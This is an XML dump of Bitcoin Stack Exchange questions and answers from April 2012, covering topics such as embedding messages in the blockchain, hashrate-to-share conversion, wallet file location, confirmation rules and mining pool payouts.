  <row Id="3440" PostTypeId="2" ParentId="2631" CreationDate="2012-04-18T08:46:39.783" Score="7" Body="&lt;p&gt;There are multiple places one can embed messages in the block chain. Any field that takes arbitrary values can be used.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nonce - nonce is a field in the header that can take 4 bytes of data. Not the best place to embed much, but it does not bloat the block size&lt;/li&gt;&#xA;&lt;li&gt;Coinbase string - probably the best place to embed messages. It takes an arbitrary length and doesn't have to adhere to any rules. Main problem is that there is only one coinbase string per block, which usually means one would have to mine the block oneself in order to encode the string. Another important thing to note is that one should not use the exact same coinbase string all the time, as it might make the output irredeemable (if the transaction hash is duplicated)&lt;/li&gt;&#xA;&lt;li&gt;Transaction outputs - The Tx message outputs can be used to encode messages in the form of output addresses and possibly Bitcoin transfer amounts. This can create irredeemable transactions (if the transfer amount is higher than 0). The overhead of encoding transactions in this way is not too big, in case of 0BTC transactions it would be 10 wasted bytes for about 23 bytes sent (total transaction size is about 33 bytes).&lt;/li&gt;&#xA;&lt;li&gt;Transaction script - Probably the best way to encode messages, although it is not widely supported (requires custom transaction script creation). Messages are created by adding two script operations - OP_PushData and OP_Drop in the output script of any transaction, and adding the message body in between the two operations. In order to embed messages in this way one would add just a couple bytes in order to send fairly large body of text.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One could also try creating partial SHA collisions that would encode to some short message, although this method would require a lot of computing, yielding short message encoding.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-18T08:46:39.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3441" PostTypeId="2" ParentId="343" CreationDate="2012-04-18T10:07:51.073" Score="2" Body="&lt;p&gt;As of April 2012, the two methods are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What countries is the service available in? Argentina, Australia,&#xA;  Austria, Belgium, Bosnia and Herzegovina, Bulgaria, Canada, Chile,&#xA;  Croatia, Czech Republic, Denmark, Estonia, Finland, France, Germany,&#xA;  Greece, Hong Kong, Indonesia, Ireland, Israel, Italy, Latvia,&#xA;  Lithuania, Luxembourg, Mexico, Netherlands, New Zealand, Norway,&#xA;  Poland, Portugal, Romania, Russian Federation, Slovakia, South Africa,&#xA;  Spain, Sweden, Switzerland, Taiwan, Turkey, Ukraine, United Kingdom,&#xA;  United States of America&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/wallet/sms-phone-deposits&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/wallet/sms-phone-deposits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Btc-Direct&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Btc-Direct&lt;/a&gt; (for two dozen countries)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the latest, search &quot;SMS&quot; on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-18T10:07:51.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3442" PostTypeId="1" AcceptedAnswerId="3445" CreationDate="2012-04-18T22:09:43.790" Score="5" ViewCount="722" Body="&lt;p&gt;What is the exact ratio one would use to convert Miner speed from &lt;code&gt;Hashes per second&lt;/code&gt; to &lt;code&gt;Shares per second&lt;/code&gt;, assuming Difficulty 1 shares?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-24T04:50:34.683" LastActivityDate="2017-12-24T04:50:34.683" Title="Miner speed conversion" Tags="|hashpower|mining-technical-details|mining-pool-shares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3443" PostTypeId="2" ParentId="3442" CreationDate="2012-04-18T23:35:22.360" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#How_soon_might_I_expect_to_generate_a_block.3F&quot; rel=&quot;nofollow&quot;&gt;From the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The average time to find a block can be approximated by calculating:&#xA;  time = difficulty * 2**32 / hashrate&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This applies also to shares, setting 1 as the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 1 MH/s, you can expect to find a share every 2^32 / 1000000 = ~4295s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inversely, you will find (1000000/2^32) = ~0.000233 shares per second per MH/s.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-04-18T23:35:22.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3444" PostTypeId="1" AcceptedAnswerId="3527" CreationDate="2012-04-19T00:09:43.907" Score="12" ViewCount="3847" Body="&lt;p&gt;Has any &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Illegal_content_in_the_block_chain&quot;&gt;illegal data&lt;/a&gt; been saved in the Block Chain, such as an &lt;a href=&quot;http://en.wikipedia.org/wiki/Illegal_number&quot;&gt;illegal number&lt;/a&gt;, or &lt;a href=&quot;http://en.wikipedia.org/wiki/Illegal_prime&quot;&gt;illegal prime&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="105" LastEditDate="2013-02-10T20:57:03.233" LastActivityDate="2013-02-10T20:57:03.233" Title="Has any illegal data been saved in the Block Chain?" Tags="|blockchain|legal|block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3445" PostTypeId="2" ParentId="3442" CreationDate="2012-04-19T04:29:12.477" Score="5" Body="&lt;p&gt;The approximate ratio which is usually used in calculations is 2^32 hashes per share. If you want the exact ratio, it's 2^48/(2^16-1).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-19T04:29:12.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3446" PostTypeId="1" CreationDate="2012-04-19T09:39:25.043" Score="8" ViewCount="10629" Body="&lt;p&gt;Is there a Bitcoin gadget for Windows 7, which features conversion rate with EUR? (i.e. EUR/BTC)&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2017-12-24T04:50:10.283" LastActivityDate="2018-03-09T03:11:50.433" Title="Is there a Bitcoin gadget for Windows 7?" Tags="|exchange-rate|windows|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3447" PostTypeId="2" ParentId="3446" CreationDate="2012-04-19T13:22:02.187" Score="-1" Body="&lt;p&gt;You could embed the URL [MtGox] &lt;a href=&quot;http://mtgoxlive.com/orders?currency=EUR&quot; rel=&quot;nofollow&quot;&gt;http://mtgoxlive.com/orders?currency=EUR&lt;/a&gt; (works for some other currencies too) into a Windows gadget but I know of no existing software.&lt;/p&gt;&#xA;" OwnerUserId="1285" LastActivityDate="2012-04-19T13:22:02.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3448" PostTypeId="2" ParentId="3446" CreationDate="2012-04-19T21:25:01.077" Score="0" Body="&lt;p&gt;The latest version of &lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; (v0.3.3 at time of writing) has a ticker from the &lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;nofollow&quot;&gt;XChange&lt;/a&gt; project. While it is not currently a widget, it does offer a range of currencies from MtGox (with Intersango and others to follow later). I suppose you could resize it to fit your purpose until the &quot;widget mode&quot; makes it into an upcoming milestone release.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-04-19T21:44:34.033" LastActivityDate="2012-04-19T21:44:34.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3449" PostTypeId="1" AcceptedAnswerId="3453" CreationDate="2012-04-19T22:04:38.877" Score="9" ViewCount="3791" Body="&lt;p&gt;I know that Bitcoin supports the &lt;code&gt;-datadir&lt;/code&gt; command line option which specifies that the wallet.dat and blockchain should be stored in a custom location rather than &lt;code&gt;%appdata%\roaming\bitcoin&lt;/code&gt; but is there a way to specify a wallet location without also changing the blockchain location? I have a highly secured spot I'd like to stash my wallet.dat in (permanently) but I don't want to stash ~2GB of blockchain data alongside it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="132" LastEditDate="2014-01-14T13:37:49.223" LastActivityDate="2017-12-15T16:06:00.587" Title="Is there a way to change the wallet.dat location without changing the entire data directory?" Tags="|wallet|blockchain|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3450" PostTypeId="2" ParentId="3383" CreationDate="2012-04-19T22:07:26.657" Score="3" Body="&lt;p&gt;&lt;strong&gt;If your private key is compromised your coins are gone&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the short answer is that the &quot;Linode problem&quot; where your entire private key is at the mercy of a third-party capable of root access to your system is somewhat intractable. As others have stated you can limit your key's exposure, but malware is patient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off topic, but possibly of interest, is a project by the &lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; team to use a &lt;a href=&quot;http://www.amazon.co.uk/Hewlett-Packard-HP50G-Graphing-Calculator/dp/B000GTPRPS&quot; rel=&quot;nofollow&quot;&gt;HP50G scientific calculator&lt;/a&gt; as an item of trusted hardware capable of signing transactions. Not much use out in the field like a mobile would be, but handy for a small business reconciling small volumes of transactions.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-04-19T22:07:26.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3451" PostTypeId="2" ParentId="3407" CreationDate="2012-04-19T22:22:49.807" Score="3" Body="&lt;p&gt;You can certainly find statistics on what &lt;a href=&quot;http://bitcoinstats.org/versions.html&quot; rel=&quot;nofollow&quot;&gt;version of the protocol&lt;/a&gt; are currently most commonly reported, and since certain clients are/were more prevalent in those versions of the protocol you could potentially extrapolate some data from that, but to my knowledge, the actual client application name is not reported and so this data is not public information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those running the project could certainly provide download statistics but that does not necessarily reflect how many people are actually using the client, only how many have &quot;tried it out.&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-04-19T22:22:49.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3453" PostTypeId="2" ParentId="3449" CreationDate="2012-04-20T00:23:41.830" Score="3" Body="&lt;p&gt;A symlink will do it on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows there's a symbolic link method as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Symbolic_link#Windows_7_.26_Vista_symbolic_link&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Symbolic_link#Windows_7_.26_Vista_symbolic_link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A -walletdir= feature has been requested before:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/?topic=2730.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/?topic=2730.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/68&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/68&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-22T00:11:00.297" LastActivityDate="2012-04-22T00:11:00.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3454" PostTypeId="2" ParentId="2983" CreationDate="2012-04-20T08:44:11.293" Score="1" Body="&lt;p&gt;I would assume this is not implemented because of the problem that Pieter mentioned. Having a client that only stores a pruned version of the block chain can't be friendly to other clients that don't have this pruning feature implemented since it won't be able to retrieve the original block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a variety of clients are still undergoing development allowing alternative clients the choice of how to handle their block chain data allows for new innovations. For instance, it allows analysis of how Bitcoin has behaved over time. Even if you have not recorded this from the start.&lt;/p&gt;&#xA;" OwnerUserId="1293" LastActivityDate="2012-04-20T08:44:11.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3455" PostTypeId="1" AcceptedAnswerId="3457" CreationDate="2012-04-20T16:45:11.390" Score="7" ViewCount="1751" Body="&lt;p&gt;I recently read an &lt;a href=&quot;http://bitcoinmedia.com/the-irc-bootstrap-method-is-flawed/&quot;&gt;article on Bitcoin Media&lt;/a&gt;, that claimed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jeff Garzik pointed out that Bitcoin-Qt no longer operates using the IRC bootstrap, and on inspection he’s right. This mainly applies to older versions of bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Implying that the IRC channel is no longer used by Bitcoin-QT. Is this true, and if so, which version of the standard Bitcoin client was the first not to use the IRC channel?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-20T22:01:44.360" Title="Does Bitcoin still use the IRC channel?" Tags="|bitcoin-core|irc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3457" PostTypeId="2" ParentId="3455" CreationDate="2012-04-20T22:01:44.360" Score="10" Body="&lt;p&gt;The IRC bootstrapping method is deprecated and default off since the 0.6 release. It's still implemented and can be enabled using the -irc command line option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function of the IRC bootstrapping system will get replaced by DNS seeding and peer exchange, however.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-04-20T22:01:44.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3458" PostTypeId="1" CreationDate="2012-04-20T22:29:16.337" Score="3" ViewCount="587" Body="&lt;p&gt;Using blizzcoin.com I sent bitcoins to the address I have for the bitcoin wallet client, and it took forever to sync the blocks. Once it had finished I was expecting to see the money there, but saw nothing.  Can anyone explain or tell me how to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="659" LastEditDate="2012-04-22T04:35:29.470" LastActivityDate="2012-04-22T04:35:29.470" Title="I sent money to a bitcoin wallet from Blizzcoin and there's nothing there?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3459" PostTypeId="2" ParentId="3034" CreationDate="2012-04-20T23:19:53.707" Score="3" Body="&lt;p&gt;Piuk has just made a patch to MultiBit that enables blockchain.info 'json' and 'aes.json' files to be imported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patch was included in MultiBit 0.3.4. &#xA;Here is the how-to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export wallet from blockchain.info -&gt; Import to MultiBit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Do a wallet export from blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Import into MultiBit using the 'Import private keys' screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1) In the file chooser you choose the blockchain.info file suffix of &quot;.json&quot; or &quot;.aes.json&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.2) Choose the blockchain.info export file you want to import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.3) Add in either the single password or both passwords if it is double encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.4) Press &quot;Import private keys&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are no private key creation dates in the blockchain.info exports I unfortunately have to replay the blocks from the genesis block (this takes a couple of hours) so it is more a &quot;get out of jail&quot; option than something you would use day to day.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-04-26T17:35:16.363" LastActivityDate="2012-04-26T17:35:16.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3460" PostTypeId="2" ParentId="3332" CreationDate="2012-04-21T01:16:02.830" Score="1" Body="&lt;p&gt;As the mystery miner continues to grow prior to 51%, it will only delay legitimate transactions. Economic factors should limit profitability of zero transaction blocks, as the value of a bitcoin would decline when usage of the network becomes hampered enough to become a deterrent rather than an incentive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the exchange value of a bitcoin falls, it wouldn't make sense to commit resources to mining in the first place. Going the other way, a rise in bitcoin prices would encourage network expansion - including mining. That would increase the 51% mark, making it more difficult for the mystery miner to attain the majority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the miner is a botnet, ASIC/FPGA mining should make it a transient threat. Halving of the block reward within the next several months will cut profitability of zero transaction mining as well. This is assuming the 51% level is not achieved, allowing economic forces to remain the primary means of limiting this miner.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2012-04-21T01:16:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3461" PostTypeId="1" AcceptedAnswerId="3462" CreationDate="2012-04-21T14:08:03.030" Score="8" ViewCount="490" Body="&lt;p&gt;Given the difficult of detecting lost coins, or telling between hoarded and lost coins, it seems impossible to actually report on the real wealth distribution of the bitcoin currency. &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2012-04-21T15:41:21.870" LastActivityDate="2012-04-22T00:57:19.273" Title="Is there a reliable way to measure bitcoin wealth distribution?" Tags="|development|economic-theory|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3462" PostTypeId="2" ParentId="3461" CreationDate="2012-04-21T16:03:05.347" Score="5" Body="&lt;p&gt;The protocol gives no information about who controls an address. In an extreme case, every address could be controlled by just one person, or every address could have a unique owner. However, a degree of traffic analysis is possible, and if you have access to other data from outside the Bitcoin network, you could correlate transactions with these non-Bitcoin events and infer who the real-world owners of the addresses are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you had access to ISP records of who uses an IP address that has just mined a block, you could start to build profiles of the owners of new coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are many barriers to achieving the total information awareness that you would need to build a comprehensive profile of all coin owners, so the short answer is no, there is no reliable way to measure Bitcoin wealth distribution.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-04-21T16:03:05.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3463" PostTypeId="2" ParentId="3458" CreationDate="2012-04-21T17:03:53.010" Score="6" Body="&lt;p&gt;According to &lt;a href=&quot;http://blockchain.info/address/15AsgvDDtbwq2d2pT7gNpapedBrk2JQzxU&quot;&gt;blockchain.info&lt;/a&gt; the coins weren't sent yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=74457.msg825763#msg825763&quot;&gt;a post from another blizzcoin customer&lt;/a&gt; saying that it took 2 days for his purchased coins to be sent:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;apparently because I Manually transferred money to them instead of ordering through their web interface, it wasn't an instant transfer of bitcoins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could that be your problem too?  How long has it been since you sent the money to them?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-21T17:03:53.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3464" PostTypeId="1" AcceptedAnswerId="3465" CreationDate="2012-04-21T19:52:04.580" Score="7" ViewCount="2513" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1170/why-is-6-the-number-of-confirms-that-is-considered-secure&quot;&gt;this question here&lt;/a&gt;, 6 confirmations can be considered 'secure enough'. Some pools out there also offer payout at 100 confirms but that's still substantially higher than 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is such a high confirmation count required for this?&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-09T23:07:04.487" Title="Why do mining pools require 120 confirms for a solved block before payout?" Tags="|mining-pools|immature-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3465" PostTypeId="2" ParentId="3464" CreationDate="2012-04-21T21:35:48.243" Score="12" Body="&lt;p&gt;There is a protocol rule which prohibits generated BTC from being spent until it has 100 confirmations. The Satoshi client has an additional safety margin: it won't let you spend generated BTC until it has 120 confirmations. The purpose of this rule is to prevent long chain splits from invalidating lots of transactions that spend newly-generated BTC. For example, this rule prevented non-coinbase transactions from being invalidated after the &lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#Value_overflow&quot;&gt;overflow incident&lt;/a&gt; invalidated 50+ blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools (e.g. Eligius) pay people by putting the payments &lt;em&gt;in&lt;/em&gt; generation transactions. The recipients still won't be able to spend this BTC for 100 blocks, but at least the payments will appear in their Bitcoin clients right away.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-04-21T21:35:48.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3468" PostTypeId="2" ParentId="3461" CreationDate="2012-04-22T00:57:19.273" Score="3" Body="&lt;p&gt;Well, we know at least how much Mt. Gox holds -- as they have a cold storage system that they've proven they control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, flow analysis combined with other data might help make it possible to have a better idea.  It alone doesn't give exact identity, but it can help to point in a general direction as far as how much certain people or certain organizations have received and of that amount, how much they've spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an article describing this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow&quot;&gt;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-22T00:57:19.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3469" PostTypeId="1" AcceptedAnswerId="3603" CreationDate="2012-04-22T01:58:18.163" Score="10" ViewCount="594" Body="&lt;p&gt;&lt;a href=&quot;http://www.butterflylabs.com/&quot;&gt;Butterfly Labs&lt;/a&gt; (BFL) is offering a few mining products which look to be based on some sort of FPGA or ASIC but I can't find any reliable data on what parts they're using or their manufacturing techniques. I'd like to factor device cost into the profitability of mining with these low-power devices but without any MTBF/MTTF/FIT data I can't make a reasonable estimate of how long an average BFL single can be expected to survive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have access to time-to-failure data for BFL's products, or perhaps know what components they're using so that I might find time-to-failure data on the components? Is there any way short of serious testing or published data to determine what a reasonable lifespan should be?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-03-07T10:44:26.463" LastActivityDate="2016-03-07T10:44:26.463" Title="Is there time-to-failure data available for any of the BFL products?" Tags="|asic|mining-hardware|fpga|butterfly-labs|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3470" PostTypeId="1" CreationDate="2012-04-22T21:20:38.213" Score="10" ViewCount="3049" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/stats&quot;&gt;Blockchain.info&lt;/a&gt; lists both &quot;Trade Volume&quot; and &quot;Estimated Transaction Volume&quot; in both BTC and USD. It occurred to me that the ratio of one to the other might be a useful metric in determining how much of the Bitcoin market is currently speculative versus how much is actually being used for trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be interested to see if there were, for example, a much higher trade:transaction ratio during the buildup of the bubble than in previous or current days. It might also be a useful metric for determining whether the bubble is truly over and for predicting Bubble 2.0, should one ever occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a good historical source for this data, or perhaps have both the programming acumen and time available to create a simple graph? Or have I missed something important, economically, that makes this information less useful than I'm currently assuming it to be?&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-13T18:33:31.687" Title="Historical transaction/trade ratio. Available? Useful?" Tags="|transactions|trading|economic-theory|charts|speculation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3471" PostTypeId="2" ParentId="3470" CreationDate="2012-04-23T01:35:59.033" Score="-3" Body="&lt;p&gt;[Update: The stats page does show Trade Volume, apparently the number of BTCs traded on an exchange or all exchanges?]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;Trade Volume&quot;  There is &quot;Total Volume&quot; and &quot;Estimated Transaction Volume&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you possibly misunderstanding what the &quot;Estimated Transaction Volume&quot; reflects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That metric is: &quot;Similar to the total output volume with the addition of an algorithm which attempts to remove change from the total value. This maybe a more accurate reflection of the true transaction volume.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as a source of the daily summarized totals, the html source from the chart includes the data for each point.  That data is also the source for the &quot;Output Volume (BTCs)&quot; column of this &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Time Series spreadsheet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-23T06:01:41.870" LastActivityDate="2012-04-23T06:01:41.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3473" PostTypeId="1" CreationDate="2012-04-23T02:15:24.280" Score="1" ViewCount="259" Body="&lt;p&gt;I've stumbled upon a few posts on the Bitcoin forum about miners claiming that they don't care what the pool operators do with their hashing power as long as they are paid, and some others that are more concerned than that. Is the bulk of the miners concerned with what the pool operators do with their hashpower?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:22:33.770" LastActivityDate="2016-03-31T10:22:33.770" Title="Are the miners concerned with what the pool operators do with their hashpower?" Tags="|mining-pools|governance|pool-operators|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3474" PostTypeId="2" ParentId="3470" CreationDate="2012-04-23T06:14:49.187" Score="2" Body="&lt;p&gt;You can access the data for each currency on each exchange with the Markets API from BitcoinCharts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for USD:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/chart.json?m=thUSD&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/chart.json?m=thUSD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/chart.json?m=mtgoxUSD&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/chart.json?m=mtgoxUSD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-23T06:14:49.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3475" PostTypeId="2" ParentId="1764" CreationDate="2012-04-23T07:28:36.533" Score="3" Body="&lt;p&gt;For digital content, coinDL is worth a shot: &lt;a href=&quot;https://www.coindl.com&quot; rel=&quot;nofollow&quot;&gt;https://www.coindl.com&lt;/a&gt; (full disclosure: it is developed and operated by myself).&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2012-04-23T07:28:36.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3478" PostTypeId="1" AcceptedAnswerId="3480" CreationDate="2012-04-23T21:47:35.590" Score="8" ViewCount="24108" Body="&lt;p&gt;On many mining pools/bonds I see things listed as 105% PPS / 110% PPS weekly payout.  What does PPS actually mean?&lt;/p&gt;&#xA;" OwnerUserId="1303" LastEditorUserId="5406" LastEditDate="2016-04-17T20:10:41.947" LastActivityDate="2016-04-17T20:10:41.947" Title="What does PPS mean/stand for?" Tags="|terminology|pool-payout-methods|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
